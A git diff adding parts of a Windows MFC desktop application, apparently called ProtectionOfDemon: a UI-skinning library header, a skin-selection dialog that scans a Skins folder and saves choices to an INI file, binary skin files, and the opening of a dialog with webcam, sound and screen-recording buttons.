+//bNoClip : TRUE为不需要剪切,FALSE为需要剪切区域
+//bAllChild : TRUE为该窗体的所有子对话框都剪切.
+SKINPPWTL_API void skinppSetDialogBkClipRgn(HWND hWnd,BOOL bClip,BOOL bAllChild = TRUE);
+
+//通过皮肤资源名称获得皮肤资源中位图
+//szName : 皮肤资源名称
+//HBITMAP : 返回资源中的位图
+SKINPPWTL_API HBITMAP skinppGetBitmapRes(LPCTSTR szName);
+
+//通过资源名称取资源的内存指针
+//szName : 资源名称
+//nSize : 资源大小
+//pByte : 返回值,成功返回非NULL,失败返回NULL
+SKINPPWTL_API BYTE* skinppGetSkinResource(LPCTSTR szName,int& nSize);
+
+//通过皮肤资源的名称获得位图不被拉伸的区域值
+//szName : 皮肤资源名称
+//nTopHeight : 返回不被拉伸的顶高
+//nBottomHeight : 返回不被拉伸的底高
+//nLeftWidth : 返回不被拉伸的左宽
+//nRightWidth : 返回不被拉伸的右宽
+SKINPPWTL_API BOOL skinppGetBitmapResRect(LPCTSTR szName,int& nTopHeight,int& nBottomHeight,
+ int& nLeftWidth,int& nRightWidth);
+
+//设置窗口自画是否自己来处理,该方法用于自画部分需要自己处理的情况下
+//hWnd : 要自画的窗口句柄
+//bCustomDraw : TRUE为自己处理自画,FALSE为交给Skin++处理自画
+SKINPPWTL_API void skinppSetCustomDraw(HWND hWnd,BOOL bCustomDraw);
+
+//设置菜单的皮肤标识
+//hWnd : 拥有菜单的窗口句柄
+//nSkinObjectID : 菜单皮肤的标识
+SKINPPWTL_API void skinppSetMenuSkinObjectID(HWND hWnd,int nSkinObjectID);
+
+//设置是否对自画菜单进行换肤
+//bSkin : TRUE为换肤
+SKINPPWTL_API void skinppSetSkinOwnerMenu(BOOL bSkin);
+
+//对菜单进行换肤控制
+//hMenu : 想换肤的菜单句柄
+//bNoSkin : 是否换肤,TRUE为不换肤,FALSE为换肤
+SKINPPWTL_API void skinppSetDrawMenu(HMENU hMenu,BOOL bNoSkin);
+
+//对指定的窗口去掉皮肤,并且保证不会再被换肤,即使使用SetSkinHwnd也不会换肤.
+//hWnd : 指定的窗口句柄
+//bChildNoSkin : 是否对该窗口中的子窗口去掉皮肤
+SKINPPWTL_API void skinppSetNoSkinHwnd(HWND hWnd,BOOL bChildNoSkin = TRUE);
+
+//对指定的窗口进行换肤
+//hWnd : 指定的窗口句柄
+//szClassName : 要子类化的Skin类型 WC_DIALOGBOX/WC_CONTROLBAR等
+SKINPPWTL_API void skinppSetSkinHwnd(HWND hWnd,LPCTSTR szClassName = NULL);
+
+//对指定的窗口临时去掉皮肤,可以通过SetSkinHwnd进行再次换肤
+SKINPPWTL_API void skinppRemoveSkinHwnd(HWND hWnd);
+
+//是对SetNoSkinHwnd的进一步处理,可以解决使用SetNoSkinHwnd引起的Debug版的断言错
+#define SETNOSKINHWND(x) {\
+ HWND w=(x).UnsubclassWindow();\
+ skinppSetNoSkinHwnd(w);\
+ (x).SubclassWindow(w);\
+}
+
+//是对RemoveSkinHwnd的进一步处理,可以解决使用RemoveSkinHwnd引起的Debug版的断言错
+#define REMOVESKINHWND(x){\
+ HWND w=(x).UnsubclassWindow();\
+ skinppRemoveSkinHwnd(w);\
+ (x).SubclassWindow(w);\
+}
+
+SKINPPWTL_API HGDIOBJ skinppGetResFromID(PRESINFO pResInfo);
+
+
+#endif //_SKINPPWTL_H_
+
diff --git a/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.lib b/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.lib
new file mode 100644
index 0000000..0e78198
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/SkinPPWTL.lib differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.cpp b/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.cpp
new file mode 100644
index 0000000..5b253b0
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.cpp
@@ -0,0 +1,192 @@
+// SkinSettingDlg.cpp : 实现文件
+//
+
+#include "stdafx.h"
+#include "ProtectionOfDemon.h"
+#include "SkinSettingDlg.h"
+#include "afxdialogex.h"
+
+
+// CSkinSettingDlg 对话框
+
+IMPLEMENT_DYNAMIC(CSkinSettingDlg, CDialogEx)
+
+CSkinSettingDlg::CSkinSettingDlg(CWnd* pParent /*=NULL*/)
+ : CDialogEx(CSkinSettingDlg::IDD, pParent)
+{
+
+}
+
+CSkinSettingDlg::~CSkinSettingDlg()
+{
+}
+
+void CSkinSettingDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_CHECK_SKIN_ON_OFF, m_SkinOnOff);
+ DDX_Control(pDX, IDC_COMBO_SKIN, m_SkinComboBox);
+}
+
+
+BEGIN_MESSAGE_MAP(CSkinSettingDlg, CDialogEx)
+ ON_BN_CLICKED(IDC_CHECK_SKIN_ON_OFF, &CSkinSettingDlg::OnBnClickedCheckSkinOnOff)
+ ON_CBN_SELCHANGE(IDC_COMBO_SKIN, &CSkinSettingDlg::OnSelchangeComboSkin)
+ ON_CBN_DROPDOWN(IDC_COMBO_SKIN, &CSkinSettingDlg::OnDropdownComboSkin)
+ ON_COMMAND(IDCANCEL, &CSkinSettingDlg::OnIdcancel)
+ ON_MESSAGE(WM_SHOWSEARCH, ShowSearchResult)
+ ON_BN_CLICKED(IDOK, &CSkinSettingDlg::OnBnClickedOk)
+END_MESSAGE_MAP()
+
+
+// CSkinSettingDlg 消息处理程序
+
+
+BOOL CSkinSettingDlg::OnInitDialog()
+{
+ CDialogEx::OnInitDialog();
+
+ // TODO: 在此添加额外的初始化
+
+ // 读取配置文件获取加载皮肤名称
+ int iCheck = ::GetPrivateProfileInt("SKIN", "load", 0, CONFIGFILE);
+ ::GetPrivateProfileString("SKIN", "name", DEFAULT_SKIN, m_szPreSkinName, MAX_PATH, CONFIGFILE);
+ if (0 != iCheck)
+ {
+ ::SendMessage(::GetDlgItem(m_hWnd, IDC_CHECK_SKIN_ON_OFF), BM_CLICK, NULL, NULL);
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SKIN);
+ ::SetWindowText(hWnd, m_szPreSkinName);
+ }
+
+ return TRUE; // return TRUE unless you set the focus to a control
+ // 异常: OCX 属性页应返回 FALSE
+}
+
+
+void CSkinSettingDlg::OnBnClickedCheckSkinOnOff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ HWND hWnd = ::GetDlgItem(m_hWnd, IDC_COMBO_SKIN);
+ HWND hBntWnd = ::GetDlgItem(m_hWnd, IDOK);
+
+ int iCheck = m_SkinOnOff.GetCheck();
+ if (0 == iCheck)
+ {
+ // 未勾选
+ // 写入配置文件
+ ::WritePrivateProfileString("SKIN", "load", "0", CONFIGFILE);
+ // 设置灰化
+ ::EnableWindow(hWnd, FALSE);
+ ::EnableWindow(hBntWnd, FALSE);
+ }
+ else
+ {
+ // 勾选
+ // 写入配置文件
+ ::WritePrivateProfileString("SKIN", "load", "1", CONFIGFILE);
+ // 设置灰化
+ ::EnableWindow(hWnd, TRUE);
+ ::EnableWindow(hBntWnd, TRUE);
+ }
+}
+
+
+void CSkinSettingDlg::SearchSkinFile(char *lpszSrc)
+{
+
+ // 搜索指定类型文件
+ char *lpszFileName = new char[2 * MAX_PATH];
+ ::wsprintf(lpszFileName, "%s\\*.ssk", lpszSrc);
+ WIN32_FIND_DATA FileData;
+ HANDLE hHandle = ::FindFirstFile(lpszFileName, &FileData);
+ if (INVALID_HANDLE_VALUE != hHandle)
+ {
+ do
+ {
+ // 不知为何,会出现 . 字符,一定要过滤掉,否则会进入死循环里
+ if ('.' == FileData.cFileName[0])
+ {
+ continue; // 过滤这两个目录
+ }
+ // 判断是否是目录,若是目录,则进行递归遍历
+ char *pTempSrc = new char[2 * MAX_PATH];
+ ::wsprintf(pTempSrc, "%s\\%s", lpszSrc, FileData.cFileName);
+
+ if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // 目录
+ {
+ continue;
+ }
+ else // 文件
+ {
+ // 显示
+ ::SendMessage(m_hWnd, WM_SHOWSEARCH, (WPARAM)FileData.cFileName, NULL);
+ }
+ delete pTempSrc;
+ pTempSrc = NULL;
+ } while (::FindNextFile(hHandle, &FileData));
+ }
+ ::FindClose(hHandle);
+
+ delete lpszFileName;
+ lpszFileName = NULL;
+}
+
+
+LRESULT CSkinSettingDlg::ShowSearchResult(WPARAM wParam, LPARAM lParam)
+{
+ // 获取文件名
+ char *lpszFileName = (char *)wParam;
+ // 显示
+ m_SkinComboBox.AddString(lpszFileName);
+
+ return 0;
+}
+
+
+void CSkinSettingDlg::OnDropdownComboSkin()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 遍历Skins文件夹,获取.ssk文件并显示
+ // 清空原有数据
+ m_SkinComboBox.ResetContent();
+ // 获取Skins文件夹路径
+ GetCurrentPath(m_szSkinFilePath, MAX_PATH);
+ ::lstrcat(m_szSkinFilePath, "\\Skins");
+ // 遍历
+ SearchSkinFile(m_szSkinFilePath);
+}
+
+
+void CSkinSettingDlg::OnSelchangeComboSkin()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ // 获取ComboBox控件信息,并调用LoadSkin全局函数加载皮肤
+ // 获取选中的信息
+ char szText[MAX_PATH] = { 0 };
+ int iCurSel = m_SkinComboBox.GetCurSel();
+ m_SkinComboBox.GetLBText(iCurSel, szText);
+ // 写入配置文件
+ ::WritePrivateProfileString("SKIN", "name", szText, CONFIGFILE);
+ // 加载皮肤
+ LoadSkin();
+}
+
+
+void CSkinSettingDlg::OnIdcancel()
+{
+ // TODO: 在此添加命令处理程序代码
+ // 写入配置文件
+ ::WritePrivateProfileString("SKIN", "name", m_szPreSkinName, CONFIGFILE);
+ // 加载皮肤
+ LoadSkin();
+
+ CDialog::OnCancel();
+}
+
+
+void CSkinSettingDlg::OnBnClickedOk()
+{
+ // TODO: 在此添加控件通知处理程序代码
+
+ CDialogEx::OnOK();
+}
diff --git a/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.h b/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.h
new file mode 100644
index 0000000..7875095
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/SkinSettingDlg.h
@@ -0,0 +1,37 @@
+#pragma once
+#include "afxwin.h"
+
+#define WM_SHOWSEARCH (WM_USER + 101)
+
+// CSkinSettingDlg 对话框
+
+class CSkinSettingDlg : public CDialogEx
+{
+ DECLARE_DYNAMIC(CSkinSettingDlg)
+public:
+ char m_szPreSkinName[MAX_PATH];
+ char m_szSkinFilePath[MAX_PATH];
+
+ void SearchSkinFile(char *lpszSrc);
+ LRESULT ShowSearchResult(WPARAM wParam, LPARAM lParam);
+public:
+ CSkinSettingDlg(CWnd* pParent = NULL); // 标准构造函数
+ virtual ~CSkinSettingDlg();
+
+// 对话框数据
+ enum { IDD = IDD_DIALOG_SKINSETTING };
+
+protected:
+ virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
+
+ DECLARE_MESSAGE_MAP()
+public:
+ CButton m_SkinOnOff;
+ CComboBox m_SkinComboBox;
+ afx_msg void OnBnClickedCheckSkinOnOff();
+ afx_msg void OnSelchangeComboSkin();
+ afx_msg void OnDropdownComboSkin();
+ virtual BOOL OnInitDialog();
+ afx_msg void OnIdcancel();
+ afx_msg void OnBnClickedOk();
+};
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/AlphaOS.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/AlphaOS.ssk
new file mode 100644
index 0000000..1a4eafc
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/AlphaOS.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Anion.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Anion.ssk
new file mode 100644
index 0000000..68204e4
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Anion.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/AquaOS.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/AquaOS.ssk
new file mode 100644
index 0000000..ce38836
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/AquaOS.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Aura.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Aura.ssk
new file mode 100644
index 0000000..22864e8
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Aura.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Beige.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Beige.ssk
new file mode 100644
index 0000000..dcb0c5d
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Beige.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/BlueStandard.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/BlueStandard.ssk
new file mode 100644
index 0000000..7f0424a
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/BlueStandard.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Christmas.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Christmas.ssk
new file mode 100644
index 0000000..847d763
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Christmas.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/DameK UltraBlue.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/DameK UltraBlue.ssk
new file mode 100644
index 0000000..0868efc
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/DameK UltraBlue.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Devoir.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Devoir.ssk
new file mode 100644
index 0000000..b47c11a
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Devoir.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/FauxS-TOON.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/FauxS-TOON.ssk
new file mode 100644
index 0000000..9af9d93
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/FauxS-TOON.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Gloss.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Gloss.ssk
new file mode 100644
index 0000000..e93cf32
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Gloss.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn Silver.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn Silver.ssk
new file mode 100644
index 0000000..6916d22
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn Silver.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn.ssk
new file mode 100644
index 0000000..1d6c7b9
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn5203.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn5203.ssk
new file mode 100644
index 0000000..503e0ef
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Longhorn5203.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/MAC.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/MAC.ssk
new file mode 100644
index 0000000..da7fdfd
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/MAC.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/MSN Messenger.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/MSN Messenger.ssk
new file mode 100644
index 0000000..cdc4d5f
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/MSN Messenger.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Mako.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Mako.ssk
new file mode 100644
index 0000000..870f32f
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Mako.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Noire.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Noire.ssk
new file mode 100644
index 0000000..64aa6d7
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Noire.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/OSXP.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/OSXP.ssk
new file mode 100644
index 0000000..12d27ae
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/OSXP.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Phenom.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Phenom.ssk
new file mode 100644
index 0000000..fb4ef48
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Phenom.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/PurpleClass.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/PurpleClass.ssk
new file mode 100644
index 0000000..cb6675f
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/PurpleClass.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/RedCopper.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/RedCopper.ssk
new file mode 100644
index 0000000..6fe73bc
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/RedCopper.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/RedStar.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/RedStar.ssk
new file mode 100644
index 0000000..c1bccb3
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/RedStar.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/RisingDragon.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/RisingDragon.ssk
new file mode 100644
index 0000000..fa47eec
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/RisingDragon.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Royale.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Royale.ssk
new file mode 100644
index 0000000..9762f0c
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Royale.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Skin.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Skin.ssk
new file mode 100644
index 0000000..51d3c85
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Skin.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/SlickOS2.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/SlickOS2.ssk
new file mode 100644
index 0000000..4eeb55b
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/SlickOS2.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Steel.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Steel.ssk
new file mode 100644
index 0000000..5ef4a60
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Steel.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/UMskin.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/UMskin.ssk
new file mode 100644
index 0000000..3fb5b29
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/UMskin.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/Vista.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/Vista.ssk
new file mode 100644
index 0000000..5a62c24
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/Vista.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Home.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Home.ssk
new file mode 100644
index 0000000..3286e23
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Home.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Luna.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Luna.ssk
new file mode 100644
index 0000000..40e1902
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Luna.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Metallic.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Metallic.ssk
new file mode 100644
index 0000000..6836d8c
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/XP-Metallic.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/avfone.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/avfone.ssk
new file mode 100644
index 0000000..158e767
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/avfone.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/bOzen.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/bOzen.ssk
new file mode 100644
index 0000000..5818231
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/bOzen.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/bbq.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/bbq.ssk
new file mode 100644
index 0000000..f0d787b
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/bbq.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/blue.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/blue.ssk
new file mode 100644
index 0000000..916c2b6
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/blue.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/default.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/default.ssk
new file mode 100644
index 0000000..6a69331
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/default.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax.ssk
new file mode 100644
index 0000000..1a33e9e
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax2.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax2.ssk
new file mode 100644
index 0000000..b32a548
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/dogmax2.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/gold.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/gold.ssk
new file mode 100644
index 0000000..7ec312d
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/gold.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/green.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/green.ssk
new file mode 100644
index 0000000..889d768
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/green.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/machine.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/machine.ssk
new file mode 100644
index 0000000..296a58f
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/machine.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/santa.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/santa.ssk
new file mode 100644
index 0000000..5037f4c
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/santa.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/spring.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/spring.ssk
new file mode 100644
index 0000000..9057411
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/spring.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/thinblue.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/thinblue.ssk
new file mode 100644
index 0000000..08817b6
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/thinblue.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/vladstudio.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/vladstudio.ssk
new file mode 100644
index 0000000..edec64d
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/vladstudio.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/Skins/xp_corona.ssk b/ProtectionOfDemon/ProtectionOfDemon/Skins/xp_corona.ssk
new file mode 100644
index 0000000..fb14c4c
Binary files /dev/null and b/ProtectionOfDemon/ProtectionOfDemon/Skins/xp_corona.ssk differ
diff --git a/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.cpp b/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.cpp
new file mode 100644
index 0000000..77edc03
--- /dev/null
+++ b/ProtectionOfDemon/ProtectionOfDemon/VideoDlg.cpp
@@ -0,0 +1,680 @@
+// VideoDlg.cpp : 实现文件
+//
+
+#include "stdafx.h"
+#include "ProtectionOfDemon.h"
+#include "VideoDlg.h"
+#include "afxdialogex.h"
+
+#include "MyGlobalData.h"
+
+
+// CVideoDlg 对话框
+
+IMPLEMENT_DYNAMIC(CVideoDlg, CDialogEx)
+
+CVideoDlg::CVideoDlg(CWnd* pParent /*=NULL*/)
+ : CDialogEx(CVideoDlg::IDD, pParent)
+{
+
+}
+
+CVideoDlg::~CVideoDlg()
+{
+}
+
+void CVideoDlg::DoDataExchange(CDataExchange* pDX)
+{
+ CDialogEx::DoDataExchange(pDX);
+ DDX_Control(pDX, IDC_CHECK_VIDEORECORD_ONOFF, m_VideoRecordOnOffCheck);
+ DDX_Control(pDX, IDC_CHECK_SOUNDRECORD_ONOFF, m_SoundRecordOnOffCheck);
+ DDX_Control(pDX, IDC_CHECK_SCREEN_RECORD_AVI_ONOFF, m_ScreenRecordAviOnOff);
+}
+
+
+BEGIN_MESSAGE_MAP(CVideoDlg, CDialogEx)
+ ON_BN_CLICKED(IDC_CHECK_VIDEORECORD_ONOFF, &CVideoDlg::OnBnClickedCheckVideorecordOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_CAPTURE, &CVideoDlg::OnBnClickedButtonVideorecordCapture)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_DISPLAYDLG, &CVideoDlg::OnBnClickedButtonVideorecordDisplaydlg)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_FORMATDLG, &CVideoDlg::OnBnClickedButtonVideorecordFormatdlg)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_SOURCEDLG, &CVideoDlg::OnBnClickedButtonVideorecordSourcedlg)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_COMPRESSDLG, &CVideoDlg::OnBnClickedButtonVideorecordCompressdlg)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_FREEZE, &CVideoDlg::OnBnClickedButtonVideorecordFreeze)
+ ON_BN_CLICKED(IDC_BUTTON_VIDEORECORD_FRAMECAPTURE, &CVideoDlg::OnBnClickedButtonVideorecordFramecapture)
+ ON_WM_TIMER()
+ ON_BN_CLICKED(IDC_CHECK_SOUNDRECORD_ONOFF, &CVideoDlg::OnBnClickedCheckSoundrecordOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_SOUNDRECORD_RECORD, &CVideoDlg::OnBnClickedButtonSoundrecordRecord)
+ ON_BN_CLICKED(IDC_BUTTON_SOUNDRECORD_PLAY, &CVideoDlg::OnBnClickedButtonSoundrecordPlay)
+ ON_COMMAND(IDOK, &CVideoDlg::OnIdok)
+ ON_BN_CLICKED(IDC_CHECK_SCREEN_RECORD_AVI_ONOFF, &CVideoDlg::OnBnClickedCheckScreenRecordAviOnoff)
+ ON_BN_CLICKED(IDC_BUTTON_SCRENN_RECORD_AVI_START, &CVideoDlg::OnBnClickedButtonScrennRecordAviStart)
+END_MESSAGE_MAP()
+
+
+// CVideoDlg 消息处理程序
+
+
+BOOL CVideoDlg::OnInitDialog()
+{
+ CDialogEx::OnInitDialog();
+
+ // TODO: 在此添加额外的初始化
+// ::MessageBox(NULL, "VideoDlg", NULL, MB_OK);
+ return TRUE; // return TRUE unless you set the focus to a control
+ // 异常: OCX 属性页应返回 FALSE
+}
+
+
+void CVideoDlg::OnIdok()
+{
+ // TODO: 在此添加命令处理程序代码
+}
+
+
+void CVideoDlg::OnBnClickedCheckVideorecordOnoff()
+{
+ // TODO: 在此添加控件通知处理程序代码
+ int iCheck = m_VideoRecordOnOffCheck.GetCheck();
+ HWND hButtonCaptureWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_CAPTURE);
+ HWND hButtonDisplayDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_DISPLAYDLG);
+ HWND hButtonFormatDlgWnd = ::GetDlgItem(m_hWnd, IDC_BUTTON_VIDEORECORD_FORMATDLG);
